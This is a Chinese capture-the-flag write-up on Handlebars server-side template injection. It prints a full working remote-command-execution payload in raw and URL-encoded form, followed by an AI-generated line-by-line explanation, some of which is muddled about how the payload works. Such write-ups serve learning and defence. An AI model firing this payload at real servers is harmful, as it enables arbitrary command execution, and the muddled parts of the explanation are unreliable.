Handlebars SSTI
WP
自从知道了hacktricks打靶变得简单了,通过报错得知模板为Handlerbars,从hacktricks得到任意命令执行payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
AI解析
这个 Handlebars 模板是一个非常精巧且危险的 SSTI(服务器端模板注入)攻击载荷,其目的是通过一系列复杂的模板操作来执行任意系统命令。下面我将逐步分解这个攻击载荷的原理:
攻击载荷整体目标
这个模板的最终目标是构造并执行以下 JavaScript 代码:
1
|
require('child_process').exec('whoami')
|
从而在服务器上执行 whoami
命令。攻击者可以替换 whoami
为任意其他系统命令。
逐步原理分析
让我们逐层分解这个攻击模板:
1. 初始设置
1
|
{{#with "s" as |string|}}
|
- 创建一个字符串
"s"
并将其别名(赋值给变量)为 string
。这个字符串对象将用于访问 String 类的原型方法。
2. 创建另一个字符串上下文
- 创建另一个字符串
"e"
并进入其上下文。这是为了后续操作准备。
3. 获取数组方法
1
|
{{#with split as |conslist|}}
|
- 对字符串
"e"
调用 split()
方法。由于没有提供分隔符,这会返回一个数组 ["e"]
。
- 将这个数组别名(赋值)为
conslist
。现在我们可以使用数组的方法(如 pop
, push
)。
4. 操作数组以获取构造函数
1
2
3
|
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
|
{{this.pop}}
: 弹出数组的最后一个元素(即 "e"
),现在数组为空。
{{this.push (lookup string.sub "constructor")}}
: 这是关键一步:
string.sub
是字符串的 sub()
方法(一个函数对象)
lookup string.sub "constructor"
获取这个函数对象的 constructor
属性,即 JavaScript 的 Function
构造函数
- 将这个
Function
构造函数推入空数组中
{{this.pop}}
: 再次弹出数组中的内容(即 Function
构造函数),但此时这个构造函数已经被"缓存"在某个上下文中,可供后续使用。
5. 创建代码数组
1
|
{{#with string.split as |codelist|}}
|
- 对最初的
string
(即 "s"
)调用 split()
,得到数组 ["s"]
,别名(赋值)为 codelist
。
6. 向代码数组注入恶意代码
1
2
3
|
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
|
{{this.pop}}
: 弹出数组中的 "s"
,使数组为空
{{this.push "return require('child_process').exec('whoami');"}}
: 将恶意代码字符串作为函数体推入数组
{{this.pop}}
: 再次弹出,但代码字符串已被"缓存"
7. 执行构造的函数
1
2
3
4
5
|
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
|
这是最复杂也是最关键的部分:
{{#each conslist}}
: 遍历 conslist
数组(虽然看起来是空的,但实际上包含了之前操作的"缓存")
{{#with (string.sub.apply 0 codelist)}}
:
string.sub.apply
使用 apply()
方法调用 sub()
函数
0
是设置的 this
上下文(这里不重要)
codelist
作为参数数组传递给 apply()
- 但实际上,这里是在利用之前获取的
Function
构造函数来创建一个新函数
{{this}}
: 执行并输出新函数的结果
技术原理总结
这个攻击载荷利用了多个 JavaScript 和 Handlebars 特性:
- 原型链访问:通过字符串方法访问 Function 构造函数
- 数组操作:使用数组的
pop
和 push
方法来操作执行上下文
- 函数应用:使用
apply()
方法间接调用 Function 构造函数
- 闭包和上下文缓存:Handlebars 的块级作用域和变量别名机制使得中间结果可以被后续操作使用
为Handlebars模板
{{#with}} 的核心作用
{{#with}} 的主要作用是临时改变当前的数据上下文(Data Context),让你能够直接访问某个对象的所有属性,而无需在每个属性前重复书写该对象的名称。
像是进入某个目录